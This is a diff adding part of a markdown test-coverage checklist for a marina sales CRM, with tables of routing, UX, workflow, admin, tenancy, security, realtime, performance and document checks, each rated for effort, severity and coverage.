+| R-007 | Hard-deleted berth UUID URL (e.g. A1 in port-amador): expects 404                                           | XS     | 🟡       | ❓                  |
+| R-008 | URL-encoded mooring number (`A1` vs `A%201` vs `a1`): canonicalization                                      | XS     | 🟡       | ❓                  |
+| R-009 | Trailing slash redirects                                                                                    | XS     | 🟢       | ❓                  |
+| R-010 | Query-string preservation across nav (filters, sort, page)                                                  | S      | 🟡       | ❓                  |
+| R-011 | Browser back/forward state on detail pages (does Tab selection persist?)                                    | S      | 🟡       | ❓                  |
+| R-012 | Deep-link with `?folder=<id>` on documents (F25 verified for root, what about deep folder?)                 | XS     | 🟢       | ⚠️                  |
+| R-013 | Deep-link to specific interest tab (`?tab=documents`)                                                       | XS     | 🟢       | ❓                  |
+| R-014 | Deep-link with filter pre-applied (`/interests?stage=eoi`)                                                  | XS     | 🟡       | ❓                  |
+| R-015 | typedRoutes enforcement: any string-as-route escapes via `as never` casts that point to non-existent paths? | M      | 🟡       | ❓                  |
+| R-016 | Middleware / proxy.ts: public-path allow-list correctness (regex anchors, prefix matches)                   | S      | 🟠       | ❓                  |
+| R-017 | Auth redirect: visiting `/dashboard` while logged-out → `/login?next=...`                                   | XS     | 🟠       | ❓                  |
+| R-018 | Post-login redirect honours `next` param                                                                    | XS     | 🟠       | ❓                  |
+| R-019 | Portal routes when `client_portal_enabled=false`: gate page (verified A19_b)                                | XS     | 🟢       | ✅                  |
+| R-020 | Portal routes when `client_portal_enabled=true`: dashboard, docs, activate flows                            | S      | 🟠       | ❓                  |
+| R-021 | `/setup` bootstrap flow on fresh DB (no super admin yet)                                                    | M      | 🔴       | ❓ (F1 fixed proxy) |
+| R-022 | Reset-password token validity + expiry                                                                      | S      | 🟠       | ❓                  |
+| R-023 | Set-password (first-time after invite) flow                                                                 | S      | 🟠       | ❓                  |
+| R-024 | Portal activate via `#token` fragment                                                                       | S      | 🟠       | ❓                  |
+| R-025 | API routes that should be HEAD-cacheable (public/berths) return correct cache headers                       | S      | 🟢       | ❓                  |
+| R-026 | Public health: anonymous mode minimal payload                                                               | XS     | 🟡       | ❓                  |
+| R-027 | Public health: secret mode full payload                                                                     | XS     | 🟡       | ❓                  |
+| R-028 | OPTIONS preflight on API routes (CORS)                                                                      | XS     | 🟡       | ❓                  |
+| R-029 | API rate-limit headers on auth endpoints                                                                    | XS     | 🟡       | ❓                  |
+| R-030 | `/api/v1/me` returns expected user shape                                                                    | XS     | 🟢       | ✅                  |
+
+---
+
+## 3. UX consistency — every list, detail, form
+
+### 3a. Empty / loading / error states
+
+| ID    | Surface                                                                                                                   | Effort | Severity | Coverage |
+| ----- | ------------------------------------------------------------------------------------------------------------------------- | ------ | -------- | -------- |
+| U-001 | Clients list: empty state copy + CTA                                                                                      | XS     | 🟢       | ❓       |
+| U-002 | Yachts list: empty state                                                                                                  | XS     | 🟢       | ❓       |
+| U-003 | Companies list: empty state                                                                                               | XS     | 🟢       | ❓       |
+| U-004 | Interests list: empty state                                                                                               | XS     | 🟢       | ❓       |
+| U-005 | Berths list: empty state                                                                                                  | XS     | 🟢       | ❓       |
+| U-006 | Reservations list: empty state                                                                                            | XS     | 🟢       | ❓       |
+| U-007 | Invoices list: empty state                                                                                                | XS     | 🟢       | ❓       |
+| U-008 | Inbox: empty state                                                                                                        | XS     | 🟢       | ❓       |
+| U-009 | Documents hub root: empty state                                                                                           | XS     | 🟢       | ❓       |
+| U-010 | Documents hub folder: empty state (verified earlier)                                                                      | XS     | 🟢       | ✅       |
+| U-011 | Audit log: empty state (filter to nothing)                                                                                | XS     | 🟢       | ❓       |
+| U-012 | Reconcile berths: empty state (verified)                                                                                  | XS     | 🟢       | ✅       |
+| U-013 | Recommender: empty result copy (verified F28)                                                                             | XS     | 🟢       | ✅       |
+| U-014 | All list pages: loading skeleton vs spinner — is the pattern consistent?                                                  | S      | 🟢       | ❓       |
+| U-015 | All detail pages: 404 fallback (DetailNotFound) — confirmed for 5 entities, check residential/reservation/invoice/expense | S      | 🟡       | ⚠️       |
+| U-016 | All forms: server-error toast surfaces requestId                                                                          | S      | 🟡       | ❓       |
+| U-017 | All forms: validation summary at top vs inline messages                                                                   | S      | 🟡       | ❓       |
+| U-018 | All forms: submit-while-pending state (button disabled + spinner)                                                         | S      | 🟢       | ❓       |
+| U-019 | Drag-drop file zone: hover state visible                                                                                  | XS     | 🟢       | ❓       |
+| U-020 | Drag-drop file zone: drop-target overlay on entity folder                                                                 | XS     | 🟢       | ❓       |
+
+### 3b. Form design
+
+| ID    | Check                                                                 | Effort | Severity | Coverage |
+| ----- | --------------------------------------------------------------------- | ------ | -------- | -------- |
+| U-021 | Required-field markers consistent ("\*" vs label suffix vs help text) | S      | 🟢       | ❓       |
+| U-022 | Field-help-text discoverability (tooltip vs always-visible)           | S      | 🟢       | ❓       |
+| U-023 | Field-level errors: every field has visible error after blur+submit   | M      | 🟡       | ❓       |
+| U-024 | Cancel behaviour: discards or saves draft?                            | S      | 🟡       | ❓       |
+| U-025 | Unsaved changes warning on dialog dismiss                             | S      | 🟡       | ❓       |
+| U-026 | Multi-step wizards: persist state across step nav                     | M      | 🟡       | ❓       |
+| U-027 | Phone E.164 conversion preview                                        | S      | 🟢       | ❓       |
+| U-028 | Currency input: locale-aware separators                               | S      | 🟡       | ❓       |
+| U-029 | Date picker: keyboard input + calendar both work                      | S      | 🟢       | ❓       |
+| U-030 | Date range constraint enforcement (start ≤ end)                       | XS     | 🟡       | ❓       |
+| U-031 | File-type accept attribute matches server magic-byte check            | XS     | 🟡       | ❓       |
+| U-032 | File-size limit copy matches server limit                             | XS     | 🟢       | ❓       |
+| U-033 | Combobox keyboard nav (↑↓, Enter, Esc, type-ahead)                    | S      | 🟢       | ❓       |
+| U-034 | Multi-select chip removal (X button + backspace)                      | S      | 🟢       | ❓       |
+| U-035 | Tag colour-picker: contrast check                                     | XS     | 🟢       | ❓       |
+| U-036 | "Save changes" copy consistency (vs "Update" vs "Save")               | S      | 🟢       | ❓       |
+| U-037 | Inline-edit save trigger (blur vs Enter vs explicit save)             | S      | 🟢       | ❓       |
+| U-038 | Inline-edit cancel (Esc reverts)                                      | XS     | 🟢       | ❓       |
+| U-039 | Inline-tag-editor: tab order across the chip strip                    | XS     | 🟢       | ❓       |
+
+### 3c. Tables / lists / filters
+
+| ID    | Check                                                   | Effort | Severity | Coverage |
+| ----- | ------------------------------------------------------- | ------ | -------- | -------- |
+| U-040 | Sort direction indicator on column header               | XS     | 🟢       | ❓       |
+| U-041 | Multi-column sort (shift-click)                         | S      | 🟢       | ❓       |
+| U-042 | Filter chips dismissable via X                          | XS     | 🟢       | ❓       |
+| U-043 | "Clear all filters" button presence                     | XS     | 🟢       | ❓       |
+| U-044 | Pagination: page size selector                          | XS     | 🟢       | ❓       |
+| U-045 | Pagination: jump-to-page                                | XS     | 🟢       | ❓       |
+| U-046 | Pagination: total count accuracy with filters           | XS     | 🟡       | ❓       |
+| U-047 | Row selection: select-all-page vs select-all-filtered   | S      | 🟡       | ❓       |
+| U-048 | Bulk action toolbar appearance + dismiss                | S      | 🟢       | ❓       |
+| U-049 | Sticky header on scroll                                 | XS     | 🟢       | ❓       |
+| U-050 | Column resize / reorder / show-hide persistence         | S      | 🟢       | ❓       |
+| U-051 | Virtual list performance with 1000+ rows                | M      | 🟡       | ❓       |
+| U-052 | CSV export of current view (respects filters + columns) | S      | 🟡       | ❓       |
+| U-053 | Sorted-by-relevance vs sorted-by-date default           | XS     | 🟢       | ❓       |
+
+### 3d. Badges, icons, colours
+
+| ID    | Check                                                                         | Effort | Severity | Coverage |
+| ----- | ----------------------------------------------------------------------------- | ------ | -------- | -------- |
+| U-054 | Stage badge palette: 7 stages each have a distinct, consistent colour         | XS     | 🟢       | ❓       |
+| U-055 | Outcome badge: won = green, lost\_\* = red shades, distinct enough            | XS     | 🟢       | ❓       |
+| U-056 | Berth status pill: available/under_offer/sold colour consistency              | XS     | 🟢       | ✅       |
+| U-057 | Document status pill: draft/sent/partial/completed/expired/cancelled/rejected | XS     | 🟢       | ❓       |
+| U-058 | "Manual" chip on berth list (F67 phase 2)                                     | XS     | 🟢       | ✅       |
+| U-059 | Icon usage: Lucide-only — no decorative unicode glyphs (memory: avoid emoji)  | S      | 🟡       | ⚠️       |
+| U-060 | Button hierarchy: primary/secondary/ghost/destructive used consistently       | S      | 🟢       | ❓       |
+| U-061 | Destructive actions colour-coded red                                          | XS     | 🟡       | ❓       |
+| U-062 | Loading spinner sizing consistent (size-3.5 vs size-4 vs animate-spin)        | S      | 🟢       | ❓       |
+| U-063 | Tooltip delay + position consistency                                          | S      | 🟢       | ❓       |
+| U-064 | Status pill withDot vs no dot: is the rule consistent?                        | XS     | 🟢       | ❓       |
+
+### 3e. Modal / sheet / drawer doctrine
+
+| ID    | Check                                                                          | Effort | Severity | Coverage |
+| ----- | ------------------------------------------------------------------------------ | ------ | -------- | -------- |
+| U-065 | Sheet used for forms + previews on desktop AND mobile (per CLAUDE.md doctrine) | S      | 🟡       | ❓       |
+| U-066 | Vaul Drawer only used for mobile-bottom-sheet (only `MoreSheet` qualifies)     | XS     | 🟢       | ❓       |
+| U-067 | AlertDialog used for destructive confirmations                                 | XS     | 🟢       | ❓       |
+| U-068 | Dialog used for short interactive forms (new yacht, catch-up, won-dialog)      | XS     | 🟢       | ❓       |
+| U-069 | Esc closes all overlays consistently                                           | XS     | 🟢       | ❓       |
+| U-070 | Click-outside closes / doesn't close: rule consistent                          | S      | 🟡       | ❓       |
+| U-071 | Focus trap inside overlays                                                     | S      | 🟠       | ❓       |
+| U-072 | Focus restoration to trigger element on close                                  | S      | 🟡       | ❓       |
+
+### 3f. Toasts / feedback
+
+| ID    | Check                                                                      | Effort | Severity | Coverage |
+| ----- | -------------------------------------------------------------------------- | ------ | -------- | -------- |
+| U-073 | Toast position consistent (top-right, sonner config)                       | XS     | 🟢       | ✅       |
+| U-074 | Success toast on every mutation (create, update, archive, delete, restore) | M      | 🟡       | ⚠️       |
+| U-075 | Error toast includes copyable requestId                                    | S      | 🟡       | ⚠️       |
+| U-076 | Toast timing (auto-dismiss vs persistent for errors)                       | XS     | 🟢       | ❓       |
+| U-077 | Multiple toasts stack vs replace                                           | XS     | 🟢       | ❓       |
+
+### 3g. Accessibility / keyboard
+
+| ID    | Check                                                      | Effort | Severity | Coverage |
+| ----- | ---------------------------------------------------------- | ------ | -------- | -------- |
+| U-078 | Tab order natural on each form                             | M      | 🟡       | ❓       |
+| U-079 | All icons inside buttons have `aria-label` or sibling text | S      | 🟡       | ❓       |
+| U-080 | All `<img>` have alt                                       | XS     | 🟡       | ❓       |
+| U-081 | Heading hierarchy (h1 → h2 → h3, no skips)                 | S      | 🟢       | ❓       |
+| U-082 | Color contrast WCAG AA (4.5:1 body, 3:1 large)             | M      | 🟡       | ❓       |
+| U-083 | Focus rings visible on all interactive elements            | S      | 🟡       | ❓       |
+| U-084 | Skip-to-content link                                       | XS     | 🟢       | ❓       |
+| U-085 | Reduced-motion media query honoured                        | S      | 🟢       | ❓       |
+| U-086 | `aria-describedby` set on DialogContent (A6)               | S      | 🟡       | ❌       |
+| U-087 | Live regions for async updates (toast, notification count) | S      | 🟢       | ❓       |
+| U-088 | Form errors announced to screen readers                    | S      | 🟡       | ❓       |
+| U-089 | Touch target min 44×44px on mobile                         | S      | 🟡       | ❓       |
+
+### 3h. Mobile-specific UX
+
+| ID    | Check                                                             | Effort | Severity | Coverage |
+| ----- | ----------------------------------------------------------------- | ------ | -------- | -------- |
+| U-090 | Bottom-tab nav reachable on every page                            | XS     | 🟢       | ✅       |
+| U-091 | Mobile topbar shows correct title via `useMobileChrome`           | S      | 🟢       | ⚠️       |
+| U-092 | More sheet contains every nav item not on bottom bar              | XS     | 🟡       | ❓       |
+| U-093 | Search overlay covers viewport on tap                             | XS     | 🟢       | ❓       |
+| U-094 | iOS safe-area-inset-top / bottom respected                        | S      | 🟡       | ❓       |
+| U-095 | Pull-to-refresh: present or absent? (consistency)                 | XS     | 🟢       | ❓       |
+| U-096 | Camera capture on file upload (image\* mime type triggers camera) | S      | 🟢       | ❓       |
+| U-097 | Soft keyboard occlusion on form input (visualViewport handling)   | S      | 🟡       | ❓       |
+| U-098 | Long-press menu absence (not native iOS overrides)                | XS     | 🟢       | ❓       |
+| U-099 | Sheet side="right" responsiveness                                 | XS     | 🟢       | ❓       |
+| U-100 | Mobile bottom tab active-state highlight                          | XS     | 🟢       | ❓       |
+
+---
+
+## 4. Sales workflows — every end-to-end path
+
+### 4a. Happy paths
+
+| ID    | Flow                                                                                                                                                                                                                       | Effort | Severity | Coverage |
+| ----- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------ | -------- | -------- |
+| W-001 | Create client → create interest → link yacht → advance to EOI → send EOI → receive webhook → auto-advance to Reservation → record deposit → auto-advance to Deposit Paid → send contract → mark contract signed → mark won | L      | 🔴       | ⚠️       |
+| W-002 | Multi-berth interest: link 3 berths, mark one primary, send EOI bundle with range formatter                                                                                                                                | M      | 🟠       | ❓       |
+| W-003 | Company-owned yacht: company → membership → yacht owned by company → interest                                                                                                                                              | M      | 🟠       | ❓       |
+| W-004 | Residential client + residential interest end-to-end                                                                                                                                                                       | M      | 🟡       | ❓       |
+| W-005 | Public berth inquiry → admin/inquiries triage → create client via prefill                                                                                                                                                  | M      | 🟠       | ❓       |
+| W-006 | Catch-up wizard from berth list row-menu                                                                                                                                                                                   | S      | 🟠       | ⚠️       |
+| W-007 | Catch-up wizard from reconcile queue (verified)                                                                                                                                                                            | S      | 🟢       | ✅       |
+| W-008 | Mark won → reopen → outcome cleared toast (F26)                                                                                                                                                                            | XS     | 🟢       | ⚠️       |
+| W-009 | Mark lost (each lost reason)                                                                                                                                                                                               | S      | 🟢       | ❓       |
+| W-010 | Mark externally signed                                                                                                                                                                                                     | S      | 🟡       | ❓       |
+
+### 4b. Edge cases
+
+| ID    | Flow                                                                   | Effort | Severity | Coverage  |
+| ----- | ---------------------------------------------------------------------- | ------ | -------- | --------- |
+| W-011 | Try to leave Enquiry without yacht → F23 inline prereq picker fires    | XS     | 🟢       | ✅        |
+| W-012 | Try forbidden transition (e.g. Reservation → Enquiry) without override | XS     | 🟡       | ❓        |
+| W-013 | Override transition: requires reason ≥ 5 chars                         | XS     | 🟡       | ❓        |
+| W-014 | Override transition: insufficient permission → blocked tooltip         | XS     | 🟡       | ❓        |
+| W-015 | Rewind to enquiry with linked berths → unlink-or-keep prompt           | S      | 🟡       | ❓        |
+| W-016 | Same-stage write (F27): expects 204                                    | XS     | 🟢       | ❌ (A19)  |
+| W-017 | Concurrent stage edits (two browser tabs)                              | M      | 🟡       | ❓        |
+| W-018 | Stage transition emits audit log + realtime event                      | S      | 🟡       | ❓        |
+| W-019 | Auto-advance via berth-rule on `deposit_received`                      | S      | 🟠       | ❓        |
+| W-020 | Auto-advance via Documenso webhook (`DOCUMENT_SIGNED`)                 | S      | 🟠       | ❓        |
+| W-021 | Webhook arrives twice (idempotency)                                    | S      | 🟠       | ✅ (R2-G) |
+| W-022 | Webhook with v2 envelope shape                                         | S      | 🟠       | ❓        |
+| W-023 | Webhook lowercase-dotted event name → forward-compat                   | XS     | 🟢       | ❓        |
+| W-024 | Webhook with wrong secret → 401 + rate limit                           | S      | 🟠       | ❓        |
+| W-025 | Berth unlink mid-EOI → rule fires?                                     | S      | 🟡       | ❓        |
+| W-026 | Yacht reassignment mid-deal                                            | S      | 🟡       | ❓        |
+| W-027 | Client merge (duplicate dedup) — interest carry-over                   | M      | 🟠       | ❓        |
+| W-028 | Recommender on 0ft yacht (empty dims)                                  | XS     | 🟢       | ❓        |
+| W-029 | Recommender on 300ft yacht (no matching berth)                         | XS     | 🟢       | ✅ (F28)  |
+| W-030 | Recommender weight tuning re-ranks                                     | S      | 🟡       | ❓        |
+| W-031 | Recommender fallthrough policy (cooldown after lost)                   | M      | 🟡       | ❓        |
+| W-032 | Recommender tier ladder A/B/C/D classification                         | M      | 🟠       | ❓        |
+| W-033 | Heat scoring weights (recency, furthest stage, count, EOI count)       | M      | 🟡       | ❓        |
+| W-034 | Reservation cancel mid-flow                                            | S      | 🟡       | ❓        |
+| W-035 | EOI document expiry                                                    | S      | 🟡       | ❓        |
+| W-036 | Contract sent + bounced email                                          | S      | 🟡       | ❓        |
+| W-037 | Reminder snooze / dismiss                                              | S      | 🟢       | ❓        |
+| W-038 | Reminder digest delivery                                               | M      | 🟢       | ❓        |
+| W-039 | Default-owner auto-assign on new interest                              | XS     | 🟢       | ❓        |
+| W-040 | Reassignment notification email                                        | S      | 🟢       | ❓        |
+| W-041 | Cascading invites (secondary signers)                                  | M      | 🟠       | ❓        |
+| W-042 | Field-level signing verification                                       | M      | 🟡       | ❓        |
+| W-043 | Voice-note attach on activity                                          | S      | 🟢       | ❓        |
+| W-044 | Quick-template log entry                                               | S      | 🟢       | ❓        |
+| W-045 | Note add / edit / delete (polymorphic across entities)                 | S      | 🟢       | ❓        |
+| W-046 | Tag add via inline-tag-editor (verified F16 inline create flow)        | XS     | 🟢       | ⚠️        |
+| W-047 | Tag delete cascade (remove tag from all entities)                      | S      | 🟡       | ❓        |
+| W-048 | Bulk archive (clients)                                                 | S      | 🟡       | ❓        |
+| W-049 | Bulk archive (interests)                                               | S      | 🟡       | ❓        |
+| W-050 | Restore archived (any entity)                                          | S      | 🟡       | ❓        |
+| W-051 | Hard-delete request (GDPR Article 17)                                  | M      | 🟠       | ❓        |
+| W-052 | GDPR export download                                                   | M      | 🟠       | ✅ (R2-O) |
+
+---
+
+## 5. Admin workflows
+
+| ID     | Flow                                                                         | Effort | Severity | Coverage        |
+| ------ | ---------------------------------------------------------------------------- | ------ | -------- | --------------- |
+| AD-001 | Role create + permission edit                                                | S      | 🟠       | ❓              |
+| AD-002 | Per-port role override                                                       | S      | 🟠       | ❓              |
+| AD-003 | User invite send + email delivered                                           | M      | 🟠       | ❓              |
+| AD-004 | Invite accept + activate (token in #fragment)                                | S      | 🟠       | ❓              |
+| AD-005 | Invitation revoke / resend                                                   | XS     | 🟡       | ❓              |
+| AD-006 | User edit (display name, residential access toggle)                          | XS     | 🟢       | ❓              |
+| AD-007 | User deactivate                                                              | S      | 🟠       | ❓              |
+| AD-008 | System settings key update                                                   | XS     | 🟡       | ❓              |
+| AD-009 | Branding logo upload + render in email templates                             | S      | 🟢       | ❓              |
+| AD-010 | Branding primary colour propagation                                          | S      | 🟢       | ❓              |
+| AD-011 | Document template create with merge tokens                                   | S      | 🟠       | ❓              |
+| AD-012 | Template merge field validation (unknown token rejected)                     | XS     | 🟢       | ❓              |
+| AD-013 | Email template subject preview / override                                    | S      | 🟢       | ❓              |
+| AD-014 | Tag create + colour pick + delete                                            | XS     | 🟢       | ✅              |
+| AD-015 | Vocabulary list edit (interest temperatures, etc)                            | S      | 🟢       | ❓              |
+| AD-016 | Custom field add (text, number, select, date)                                | S      | 🟡       | ❓              |
+| AD-017 | Custom field retrofit on existing rows                                       | S      | 🟡       | ❓              |
+| AD-018 | Webhook create + secret rotate                                               | S      | 🟠       | ❓              |
+| AD-019 | Webhook delivery log + retry                                                 | S      | 🟡       | ❓              |
+| AD-020 | Brochure upload + magic-byte check                                           | S      | 🟡       | ❓              |
+| AD-021 | Brochure default toggle (partial unique index)                               | S      | 🟡       | ❓              |
+| AD-022 | Brochure archive                                                             | XS     | 🟢       | ❓              |
+| AD-023 | Per-berth PDF upload + parse                                                 | M      | 🟠       | ❓              |
+| AD-024 | Per-berth PDF version rollback                                               | S      | 🟡       | ❓              |
+| AD-025 | OCR parse confidence threshold + AI parse fallback                           | M      | 🟡       | ❓              |
+| AD-026 | NocoDB import: --apply, --force, --update-snapshot                           | M      | 🟠       | ❓              |
+| AD-027 | NocoDB import idempotency (re-run after no changes)                          | S      | 🟡       | ❓              |
+| AD-028 | NocoDB import vs human-edited row skip (updated_at > last_imported_at)       | S      | 🟡       | ❓              |
+| AD-029 | Bulk berth add wizard end-to-end                                             | S      | 🟠       | ⚠️ (loads only) |
+| AD-030 | CSV import (clients) — column mapper                                         | M      | 🟠       | ❓              |
+| AD-031 | CSV import (yachts)                                                          | M      | 🟡       | ❓              |
+| AD-032 | CSV import error report (rejected rows)                                      | S      | 🟡       | ❓              |
+| AD-033 | Duplicates queue review + merge                                              | M      | 🟠       | ❓              |
+| AD-034 | Duplicates queue: false-positive dismiss                                     | XS     | 🟢       | ❓              |
+| AD-035 | Audit log search/FTS — text query                                            | S      | 🟡       | ❓              |
+| AD-036 | Audit log filter by action / entity / user / date range                      | S      | 🟡       | ❓              |
+| AD-037 | Audit log diff display (old vs new)                                          | S      | 🟡       | ❓              |
+| AD-038 | Audit log mask of sensitive fields (passwords, tokens)                       | S      | 🟠       | ❓              |
+| AD-039 | Backup status read                                                           | XS     | 🟢       | ❓              |
+| AD-040 | Storage backend swap dry-run (filesystem ↔ s3)                               | M      | 🟠       | ❓              |
+| AD-041 | Multi-node deployment refuses filesystem backend                             | XS     | 🟠       | ❓              |
+| AD-042 | Documenso health check Test button (v1 + v2)                                 | S      | 🟠       | ❓              |
+| AD-043 | Documenso API version toggle per-port                                        | S      | 🟠       | ❓              |
+| AD-044 | Documenso signing-order setting (parallel/sequential)                        | S      | 🟡       | ❓              |
+| AD-045 | Documenso redirect URL setting                                               | XS     | 🟢       | ❓              |
+| AD-046 | AI provider credentials test                                                 | S      | 🟡       | ❓              |
+| AD-047 | Receipt OCR config + retry on bad parse                                      | M      | 🟡       | ❓              |
+| AD-048 | Send-from account config + encrypted secret roundtrip                        | M      | 🟠       | ❓              |
+| AD-049 | Bounce monitoring (IMAP probe + dev-imap-probe script)                       | M      | 🟡       | ❓              |
+| AD-050 | Reminders default behaviour + digest window edit                             | S      | 🟢       | ❓              |
+| AD-051 | Residential pipeline stages edit + reassignment on stage removal             | M      | 🟡       | ❓              |
+| AD-052 | Qualification criteria reorder (DnD)                                         | S      | 🟢       | ❓              |
+| AD-053 | Berth rules engine config (7 triggers, 3 modes)                              | M      | 🟠       | ❓              |
+| AD-054 | Recommender weights tune                                                     | S      | 🟡       | ❓              |
+| AD-055 | Onboarding checklist progression                                             | S      | 🟢       | ❓              |
+| AD-056 | Reports: pipeline funnel, occupancy timeline, revenue breakdown, lead source | S      | 🟡       | ❓              |
+| AD-057 | Forms: form template create + public submission roundtrip                    | M      | 🟠       | ❓              |
+| AD-058 | Inquiry inbox triage → convert to client                                     | M      | 🟠       | ❓              |
+| AD-059 | Website analytics (Umami) config                                             | S      | 🟢       | ❓              |
+| AD-060 | Queue monitoring dashboard (BullMQ stats)                                    | XS     | 🟢       | ❓              |
+
+---
+
+## 6. Multi-tenancy (port isolation)
+
+| ID    | Check                                                                | Effort | Severity | Coverage  |
+| ----- | -------------------------------------------------------------------- | ------ | -------- | --------- |
+| MT-01 | GET /api/v1/clients/<other-port-uuid> with X-Port-Id=this-port → 404 | XS     | 🟠       | ✅ (R2-N) |
+| MT-02 | PATCH /api/v1/interests/<other-port-uuid> → 404                      | XS     | 🟠       | ❓        |
+| MT-03 | Berth recommender cross-port leak guard (entry + SQL CTE)            | S      | 🔴       | ✅        |
+| MT-04 | Document folder defense-in-depth port_id filter on every join        | S      | 🟠       | ❓        |
+| MT-05 | Audit log scope per port                                             | XS     | 🟠       | ❓        |
+| MT-06 | Webhook subscriptions scoped to port                                 | XS     | 🟠       | ❓        |
+| MT-07 | System settings per-port                                             | XS     | 🟡       | ❓        |
+| MT-08 | Tags scoped to port                                                  | XS     | 🟡       | ❓        |
+| MT-09 | Custom fields scoped to port                                         | XS     | 🟡       | ❓        |
+| MT-10 | Vocabularies scoped to port                                          | XS     | 🟡       | ❓        |
+| MT-11 | Seed runs idempotent across ports                                    | S      | 🟡       | ❓        |
+
+---
+
+## 7. Security
+
+| ID   | Check                                                      | Effort | Severity | Coverage  |
+| ---- | ---------------------------------------------------------- | ------ | -------- | --------- |
+| S-01 | XSS via client.fullName render (verified ✓)                | XS     | 🟠       | ✅        |
+| S-02 | XSS via tag.name                                           | XS     | 🟠       | ❓        |
+| S-03 | XSS via note.content (markdown)                            | S      | 🟠       | ❓        |
+| S-04 | XSS via email body markdown (verified)                     | S      | 🟠       | ✅ (R2-I) |
+| S-05 | SQL injection via search query                             | S      | 🔴       | ❓        |
+| S-06 | Path traversal in folder name                              | S      | 🟠       | ❓        |
+| S-07 | Path traversal in file name                                | XS     | 🟠       | ❓        |
+| S-08 | SSRF via attachment URL or webhook target                  | S      | 🟠       | ❓        |
+| S-09 | Open redirect on `next` param                              | XS     | 🟠       | ❓        |
+| S-10 | CSRF on state-changing requests (proxy.ts checks)          | S      | 🟠       | ❓        |
+| S-11 | Cookie flags: HttpOnly, Secure, SameSite                   | XS     | 🟠       | ❓        |
+| S-12 | CSP headers (production)                                   | S      | 🟡       | ❓        |
+| S-13 | CORS allow-list narrow                                     | XS     | 🟡       | ❓        |
+| S-14 | Rate limit on login (verified F7)                          | XS     | 🟠       | ✅        |
+| S-15 | Rate limit on forget-password                              | XS     | 🟠       | ✅        |
+| S-16 | Rate limit on file upload                                  | S      | 🟡       | ❓        |
+| S-17 | Session fixation (regen sid on login)                      | S      | 🟠       | ❓        |
+| S-18 | Token expiry / refresh (better-auth)                       | S      | 🟠       | ❓        |
+| S-19 | Audit log tamper-resistance (append-only)                  | S      | 🟡       | ❓        |
+| S-20 | Documenso webhook secret rotation (verified)               | S      | 🟠       | ✅        |
+| S-21 | SMTP credential at-rest encryption (AES-256-GCM)           | S      | 🟠       | ❓        |
+| S-22 | IMAP credential at-rest encryption                         | S      | 🟠       | ❓        |
+| S-23 | Storage credential at-rest encryption                      | S      | 🟠       | ❓        |
+| S-24 | Privilege escalation: viewer → agent → admin paths         | M      | 🔴       | ❓        |
+| S-25 | Direct ID enumeration (UUID guess immune)                  | XS     | 🟢       | ✅ (R2)   |
+| S-26 | Audit log read-back of own permission denials              | S      | 🟢       | ❓        |
+| S-27 | Magic-byte verification on every uploaded file (verified)  | S      | 🟠       | ✅        |
+| S-28 | Filename HTML-escape in download links                     | XS     | 🟡       | ❓        |
+| S-29 | Bounce-monitor email subject parsing (injection)           | S      | 🟡       | ❓        |
+| S-30 | Email body redirect mode never escapes in prod (env guard) | XS     | 🟠       | ❓        |
+
+---
+
+## 8. Realtime / sockets
+
+| ID    | Check                                                          | Effort | Severity | Coverage |
+| ----- | -------------------------------------------------------------- | ------ | -------- | -------- |
+| RT-01 | Socket.IO server actually running in dev (A5)                  | S      | 🟡       | ❌       |
+| RT-02 | Realtime invalidation: interest:updated fires from another tab | S      | 🟡       | ❓       |
+| RT-03 | document:completed event invalidates files                     | S      | 🟡       | ❓       |
+| RT-04 | folder:created event invalidates document-folders              | S      | 🟡       | ❓       |
+| RT-05 | berth:statusChanged event invalidates berths                   | S      | 🟡       | ❓       |
+| RT-06 | Subscription teardown on unmount (no leaks)                    | S      | 🟡       | ❓       |
+| RT-07 | Cross-tab broadcast (BroadcastChannel?)                        | M      | 🟢       | ❓       |
+| RT-08 | Reconnect after server restart                                 | S      | 🟡       | ❓       |
+| RT-09 | Room-level scoping (port:X room)                               | XS     | 🟠       | ❓       |
+
+---
+
+## 9. Performance
+
+| ID   | Check                                                                    | Effort | Severity | Coverage                    |
+| ---- | ------------------------------------------------------------------------ | ------ | -------- | --------------------------- |
+| P-01 | Web vitals report endpoint accepts beacons (verified — A2 is dev cancel) | XS     | 🟢       | ✅                          |
+| P-02 | LCP under 2.5s on dashboard                                              | S      | 🟡       | ❓                          |
+| P-03 | CLS under 0.1                                                            | S      | 🟢       | ❓                          |
+| P-04 | TTI under 3s                                                             | S      | 🟡       | ❓                          |
+| P-05 | N+1 detection on interests list (tags / berths / yacht joins)            | M      | 🟡       | ❓                          |
+| P-06 | DataTable virtual rendering for 1000+ rows                               | M      | 🟡       | ⚠️ (audit-log uses virtual) |
+| P-07 | Image lazy-load on documents list                                        | XS     | 🟢       | ❓                          |
+| P-08 | Bundle size growth budget                                                | S      | 🟢       | ❓                          |
+| P-09 | Slow-query log review                                                    | M      | 🟡       | ❓                          |
+| P-10 | DB connection pool exhaustion behaviour (verified F8 fix landed)         | S      | 🟠       | ✅                          |
+| P-11 | Memory leak after long session (open same form 50 times)                 | M      | 🟡       | ❓                          |
+| P-12 | Worker queue throughput under load                                       | M      | 🟡       | ❓                          |
+| P-13 | Search FTS query plan (uses GIN index?)                                  | S      | 🟡       | ❓                          |
+| P-14 | API response size budget (paginated list ≤ 256 KB)                       | XS     | 🟢       | ❓                          |
+
+---
+
+## 10. Documents / files
+
+| ID   | Check                                                                         | Effort | Severity | Coverage |
+| ---- | ----------------------------------------------------------------------------- | ------ | -------- | -------- |
+| D-01 | Upload via drag-drop on hub root (A16 — broken)                               | XS     | 🟠       | ❌       |
+| D-02 | Upload via drag-drop on entity folder                                         | S      | 🟠       | ❓       |
+| D-03 | Upload via file picker on dialog                                              | XS     | 🟠       | ❌ (A16) |
+| D-04 | PDF preview inline                                                            | S      | 🟢       | ❓       |
+| D-05 | Image preview inline (jpg, png, webp, gif)                                    | S      | 🟢       | ❓       |
+| D-06 | Word / Excel: download fallback                                               | XS     | 🟢       | ❓       |
+| D-07 | Signed PDF download from completed workflow                                   | S      | 🟠       | ❓       |
+| D-08 | Folder soft-rescue on delete (children re-parent)                             | S      | 🟠       | ❓       |
+| D-09 | Folder rename → entity name sync                                              | S      | 🟡       | ❓       |
+| D-10 | Folder move cycle prevention                                                  | S      | 🟡       | ❓       |
+| D-11 | Folder permission: system folders immutable through API                       | S      | 🟠       | ❓       |
+| D-12 | Aggregated entity view (Clients/Companies/Yachts subfolders)                  | S      | 🟡       | ❓       |
